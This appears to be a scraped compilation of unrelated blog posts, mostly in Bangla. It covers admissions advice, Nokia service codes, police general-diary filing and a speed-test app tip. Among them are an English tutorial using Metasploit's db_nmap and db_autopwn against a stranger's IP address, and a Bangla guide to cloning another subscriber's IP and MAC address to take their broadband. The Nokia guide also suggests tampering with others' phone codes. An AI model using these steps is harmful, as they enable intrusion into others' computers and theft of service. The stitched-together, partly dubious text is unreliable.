বহু বছর ধরে আমার নিজের দেখা পরবর্তীতে কোর্স থেকে বাদ পড়া ছেলেদের পরিসংখ্যানের উপর ভিত্তি করে পরামর্শটা দিলাম
।

যারা চেষ্টা করছেন সবার জন্য আর্শিবাদ রইল
। চান্স পেলে দেখা হবে।

নিজেই হয়ে জান নোকিয়া এর পাওয়ার ইউজার(noika phone secret)

First things first, Nokia is a worldwide Corporation which owns 36% of the market share. So no doubt alot of you own a Nokia mobile, whether it be CDMA or GSM.
CDMA : Is a phone which does not need a sim card to run, it just stores everything on the phone.
GSM : Is a phone which has a SIM card (like Vodafone)
There are several codes that you can use on Nokia's, i will run through these in this article.
(Stand-by mode is the main/home screen which displays your battery charge and signal)
(NOTE: The Service Programming Menu only works on CDMA phones)
----------------------------------------------------------------------------------------------
1. Service Programming Menu - *3001#12345#
This menu is the mother of all Nokia codes, you can edit your phone like mad here, most of these menus your service provider probably doesn't want you to have the ability to do. So here we go.
On stand-by mode, type in *3001#12345# and wait a few seconds for it to load up. Once the screen comes up you will have several options, all with different functions. (NOTE: this menu differs on different phones.)
1. NAM 1
2. Change SPC
3. Security
4. Server addr.
5. SW version
6. Serial number
7. Programmed
8. Field test
----------------------------------------------------------------------------------------------
1. NAM 1 (* means explained below)
This is the most useful menu your phone has, it allows you to edit the heck out of your phone! inside NAM 1 there are these different menus:
Own number*
Mobile ID number
A-key code
Alpha tag*
Emergency*
Service No.
CDMA settings
NAM status
Own number:
Self explanitory, but if you want a new number then this is where you want to go. Just enter this menu followed by the SPC (see Change SPC) then change your number. This DOES work, but the new phone number you want must not already be in use.
Alpha tag:
You know on the standby screen, there's the "Vodafone" or "Telecom" or "T-Mobile" that appears? well now you can get rid of that annoying tag. Change this to whatever you please, just to make your phone more personalised.
Emergency:
This menu is basically a menu which displays all the numbers that will divert to the emergency number of your area. For example, if you live in USA and your emergency number is 911, in this menu there will be "911","811", "991" and the obvious numbers that you may type in while trying to reach 911. It's smart not to mess with these, because you never know when you'll be in an emergency. There should be some free slots so why not add in a couple more numbers that you want to divert to your emergency?
Some people think "Wow! emergency number! that calls for free, so maybe if i put in my friends number then it will give me free calls to him/her!" WRONG. This menu can NOT give you free calls. If you were to put in your friends number, then whenever you called them you would end up calling the emergency line - as that's what you're diverted to! REMEMBER THIS!
----------------------------------------------------------------------------------------------
2. Change SPC
The SPC is the Service Programming Code. This code is rather hard to come across, as the service providers try to hide it from the public so they can't access these places on their phones. But luckily enough if you live in New Zealand then here is the code :)
147359 - Is the default code that will let you into 'almost' anything
665*** - Is the 'master' code, that will let you into anything you like.
(The *** is the last 3 digits of your Nokia model, for example: If your Nokia was model number '8734', then your master code will be '665734'. The 665 is the default number for the Nokia company.)
So, this menu just means you can change the code. NOTE: Some mean stores when you buy the phone tend to access this menu and change it so that the owner can't access it :( that is not always the case though, so try it out!
----------------------------------------------------------------------------------------------
3. Security
This menu just shows you the security code that is installed on your phone, couldn't be more bland.
FUN TRICK: why not have a look at your friend/work mates' phone and access this menu, you could then see their security code or change it just for fun :) But we're nice people and that's naughty, so we arn't going to do that are we..
----------------------------------------------------------------------------------------------
4. Server addr.
This is the server address of your service provider. Nothing you can do here.
----------------------------------------------------------------------------------------------
5. SW version
Once again, another menu with not alot of meaning. All you can do in here is check out when your phone was activated, and what version software it is running. This can also be accessed on GSM phones (see below)
----------------------------------------------------------------------------------------------
6. Serial number
This is your serial number. DUH.
It would be a wise idea to jot this down somewhere safe, because this could be useful. If your phone was ever lost or stolen then you could contact your service provider and give them this code. This would let them shut the phone down so that your robber couldn't use your phone - or access anything on it for that matter.
----------------------------------------------------------------------------------------------
7. Programmed
This is just a menu that you can only access once, which lets you type in when your phone was programmed.
Seem like the menus are getting lamer? Wait for the next one..
----------------------------------------------------------------------------------------------
8. Field Test
This is an option which is quite cool really. Go into Field test and change "Disabled" to "Enabled". Then get out of the whole service programming menu.
Now, turn your phone off, and back on again.
Once it loads up go to your normal menu and scroll to the bottom. Notice you have just added a new menu to your phone? It is called Net Monitor.
Net Monitor speaks for itself, with this option you can monitor your network to a small extent.
Enter Net Monitor and it will prompt you with "Group/display:" enter in 3101 and press OK.
It should take you back to your standby screen, nothing will have changed. But wait a few seconds and then all these numbers will appear on your screen. What do they mean?
There is only one number you can really understand in this menu. This number is located as the third number down, it will say something like "-50" (the 50 can range anywhere from 10 to 99). This is how strong the signal is.
For example : If your phone displayed -10 here then it's telling you that your neighbour is a cell site and your signal is really really good.
If your phone displayed -90 then it's basically telling you that where you live or where you are at that certain time has really bad signal.
You will notice that as you get closer/further away to a cell site this number will grow or decrease.
----------------------------------------------------------------------------------------------
That sums up the Service Programming Menu, and the extra things your service provider doesn't want you doing :}
There are many other codes that you can use on CDMA phones, just search around for them.
Extra Codes:
*#66767# - This code when spelt out is "NO-SMS", so shouldn't that mean no texting? well, yes. If you enter this code in on your phone then you will no longer have the ability to "Create Message" or "Reply". If you're really mean then enter it on your brother or sisters phone, that's sure to give you some laughs. You can bring them back again by re-entering the code.
*#639# - This brings you to the menu which just re-programs your phone faster. I wouldn't reccomend you doing this if you value your phone.
*#7780# - This takes you to a menu which says "Restore Factory Settings", i think you understand what will happen if you press yes :p
GSM Code:
This is the only GSM code i know from the top of my head, just search around for more as I'm sure they're out there.
*#0000# - This is probably the most useless code you can find, but anyway it just gives you information on when your phone was activated. If your phone was sent in for repair, then this date will have changed to the date when it was fixed.

How To hack Computer With Only An IP aDdreSS xD

Hello everybody! I am here to show you this magical tool called Metasploit that allows you to hack any unpatched computer with only it's IP. Let's begin.

First you need to download Metasploit. The most up-to-date version is free at


Metasploit

You need PostgrSQL for your database. Download from :-   Postgresql. Make sure you use all the defaults or Metasploit won't work!

Now lets get down to buisness. After installing both tools, open up the PostgrSQL admin gui. Then right-click on your Server (in the left hand box) and click Connect. Remember to keep this window open the whole time. You will also need the pass you chose

Time for some hacking! Go to Start => All Programs => Metasploit Framework, and then open it. Let it load untill it look like this:
Now, in the window type:
db_connect postgres:ThePassYouChose@localhost:5432 
The first time you do this you will see lots of text flash buy. Don't worry, this is normal.
Type db_host to make sure you are connected correctally.
Now type this:
db_nmap 000.000.000.000
Make sure you put the ip of the computer you are trying to hack in the place of 000.000.000.000.
Now we get to the fun part; the automatic exploitation. Just type db_autopwn -t -p -e -s -b , watch the auto-exploitation start, it will take some time try to listen any good song.
After the exploitation is done, type sessions -l to see what the scanner found. If all went well, you should see a list of exploits.
Now we get to use the exploits to hack the computer. In order to use an exploit, type this:
sessions -i exploit_number

অনলাইনে জিডি করার পদ্ধতি

জিডি শব্দটি জেনারেল ডায়েরীর সংক্ষিপ্ত রুপ। প্রতিটি থানায় এবং ফাঁড়িতে একটি ডায়েরীতে ২৪ ঘন্টার খবর রেকর্ড করা হয়। প্রতিদিন সকাল ৮:০০ ঘটিকায় ডায়েরী খুলে পরের দিন সকাল ৮:০০ ঘটিকায় বন্ধ করা হয়। অর্থাৎ কার্যত এটি কখনই বন্ধ হয় না।
এই ডায়েরীতে থানার বিভিন্ন কার্যক্রম যেমন-আসামী কোর্টে চালান দেয়া, এলাকার বিভিন্ন তথ্য, থানার ঊর্ধ্বতন কর্মকর্তাদের আগমন ও প্রস্থানের তথ্য ইত্যাদি লিপিবদ্ধ থাকে।
সাধারণ মানুষের কাছে জিডির গুরুত্ব
সাধারণ মানুষের কাছে জিডির গুরুত্ব ভিন্ন। কোন থানায় মামলাযোগ্য নয় এমন ঘটনা ঘটলে মানুষ থানায় জিডি করে থাকেন। আবার কাউকে ভয় ভীতি দেখানো হলে বা অন্য কোন কারণে যদি তিনি নিরাপত্তার অভাব বোধ করেন, কিংবা কোন ধরনের অপরাধের আশঙ্কা করেন তাহলেও তিনি জিডি করতে পারেন। জিডি করার পর পুলিশ প্রয়োজনীয় পদক্ষেপ নিয়ে থাকে। প্রয়োজনবোধে তদন্ত করা, নিরাপত্তা দেয়া ছাড়াও জিডির বিষয়টি মামলাযোগ্য হলে পুলিশ মামলা করে থাকে। আইনগত সহায়তা পাওয়ার জন্য জিডি অনেক সময় গুরুত্বপূর্ণ হয়ে ওঠে। অনেক সময় আদালতেও জিডিকে সাক্ষ্য হিসেবে বিবেচনা করা হয়।
জিডি করা
থানার ডিউটি অফিসার জিডি নথিভুক্ত করেন। এক্ষেত্রে তিনি একটি ডায়েরীতে জিডির নম্বরসহ বিভিন্ন তথ্য লিপিবদ্ধ করেন। জিডির দুটি কপি করা হয়। একটি থানায় সংরক্ষণ করা হয় এবং অন্যটিতে জিডির নম্বর লিখে প্রয়োজনীয় সাক্ষর ও সীলমোহর দেয়া হয়। এটি ভবিষ্যতের জন্য সংরক্ষণ করতে হয়। অভিযোগকারী নিজে জিডি লিখতে পারেন, আবার প্রয়োজনে থানার কর্মকর্তাও লিখে দিয়ে থাকেন। প্রতিটি জিডির বিপরীতে একটি নম্বর দেয়া হয়, ফলে কোন অবৈধ প্রক্রিয়া মাধ্যমে কেউ আগের তারিখ দেখিয়ে জিডি করতে পারেন না।
ইমেইলের মাধ্যমে জিডি করার পদ্ধতি
পুলিশের তাৎক্ষণিক সাড়া দেবার প্রয়োজন নেই এমন ক্ষেত্রে যেমন-পাসপোর্ট হারানো, বখাটে বা মাদক সেবীদের সম্পর্কে তথ্য প্রদান বা এজাতীয় ক্ষেত্রে অনলাইনে জিডি করা যেতে পারেন বা সরাসরি পুলিশ সদরদপ্তরে ফ্যাক্স বা ই-মেইল করতে পারেন। এ পদ্ধতিতে দেশের বাইরে থেকেও জিডি করা সম্ভব। এক্ষেত্রে অনলাইনে জিডি করার পর ই-মেইল বা মোবাইল ফোনের মাধ্যমে জিডি নম্বরটি জিডিকারীকে পাঠিয়ে দেয়া হয়।
ই-মেইল: bangladesh@police.gov.bd
ফ্যাক্স: +৮৮০-২-৯৫৫৮৮১৮
বাংলাদেশের জিডি সম্পর্কে আরও জানার জন্য এখানে যান…

স্মার্টফোনের নেট স্পিড জানতে চান…

আপনি হয়তো স্মার্টফোনে ইন্টারনেট ব্যবহার করেন। এখন জানতে চাইছেন মুঠোফোনে যে কোম্পানির ইন্টারনেট সংযোগ ব্যবহার করছেন, তারা আপনাকে কত গতি দিচ্ছে? এটা জানা যাবে বেশ সহজেই। এ জন্য আপনাকে ‘স্পিড টেস্ট’ নামের একটি ছোট্ট সফটওয়্যার ব্যবহার করতে হবে।
এটি অ্যান্ড্রয়েড ও আইওএস (আইফোন অপারেটিং সিস্টেম) অপারেটিং সিস্টেমে কাজ করে। এটি বিনা মূল্যে নামিয়ে নেওয়া যাবে www.speedtest.net/mobile.php ঠিকানা থেকে। অ্যান্ড্রয়েডের ক্ষেত্রে এর আকার ১ মেগাবাইট, আর আইফোনে ৯.৮ মেগাবাইট। ডাউনলোড ও আপলোডের গতি আলাদাভাবে দেখার সুবিধা রয়েছে এতে।

ব্রডব্যন্ড হ্যাক করে ব্যবহার করুন

আমরা অনেকেই ব্রন্ডব্যান্ড-এর লাইনে ইন্টারনেট চালাই। কিন্তু সেই ব্রডব্যান্ডের যদি স্পিড কম হয় তাহলে কার না খারাপ লাগে? আমার নিজেরও খারাপ লাগে। তাই আজ আপনাদের জন্য নিয়ে এলাম ব্রডব্যান্ডের হ্যাকিং সফটওয়্যার। তাহলে এখুনি ডাউনলোড করে নিন মিডিয়া আগুন থেকে (Direct Link)

চলুন দেখে নেই, কীভাবে আপনার ব্রডব্যান্ড হ্যাক করবেন?
  1. প্রথমে আপনাকে উপরের ডাউনলোডকৃত ফাইলটি আনজিপ করতে হবে। আনজিপ করার জন্য যেকেনো আনজিপ সফটওয়্যার ব্যবহার করতে পারেন। অথবা এখান থেকে 7Zip সফটওয়্যারটি নামিয়ে নিন। (ব্রডব্যান্ড হ্যাকিং এর সফটওয়্যারটি আনজিপ করার সময় পাসওয়ার্ড হিসেবে “technoworldbd”) দিয়ে দিবেন।)
  2. তারপর আনজিপ করা ফাইলটি ইন্সটল দিন। ইন্সটল শেষ হলে সফটওয়্যারটি চালু করুন।
  3. তারপর নিচের ছবির মতো “C” তে ক্লিক করে Scan এ ক্লিক করুন। দেখুন আপনার আইপি খোঁজা শুরু হয়ে গেছে।
  4. আইপি খোঁজা শেষ হলে সেখান থেকে যে আইপি আপনি ব্যবহার করতে চান, সেটি সিলেক্ট করুন। তারপর আপনার মাউসের ডান বোতামে ক্লিক করে Copy–>>IP এবং MAC address এই দুইটি কপি করে সংরক্ষন করে রাখুন। (বি:দ্র: আপনার নিজের IP এবং MAC address কিন্তু অবশ্যই সংরক্ষনে রাখবেন।)
  5. তারপর আপনার Local Area Network এর Properties এ যান। তারপর ডায়লগ বক্স থেকে Configure সিলেক্ট করে Advance ট্যাব থেকে Network Address এ ক্লিক করুন। তারপর ডানদিকের খালি ঘরে আপনার সংরক্ষিত MAC address টি বসিয়ে দিন এবং OK ক্লিক করে বের হয়ে আসুন।
  6. তারপর আবার একই ভাবে আপনার Local Area Network এর Properties এ যান। তারপর “Internet Protocol (TCP/IP)” [Windows XP] এবং “Internet Protocol Version 4 (TCP/IPv4)” [Windows 7 or 8] গিয়ে আপনার ব্রডব্যান্ড লাইনের প্রয়োজনীয় “Subnet Mask, Default Gateway, Preferred DNS server, Alternate DNS server” তথ্যগুলো দিয়ে দিন। আর IP address এর জায়গায় আপনার সংরক্ষিত IP address টি দিয়ে দিন।
  7. তারপর আপনার Local Area Network টি Disable করে পুনরায় Enable করুন। দেখুন আপনি এখন অন্যের আইপি নিজের কম্পিউটারে চালাতে পারবেন।
ঠিক একই পদ্ধতিতে আপনার আইপি তে যদি ইন্টারনেট কানেকশন বন্ধ করা থাকে তাও আপনি অন্যের আইপি দিয়ে সেটি চালাতে পারবেন।
বি:দ্র: উপর্যুক্ত হ্যাকিং সম্পূর্ণ নিজ দায়িত্বে করবেন। ghuri-firi এর কোনো প্রকার দায়ভার গ্রহণ করবে না।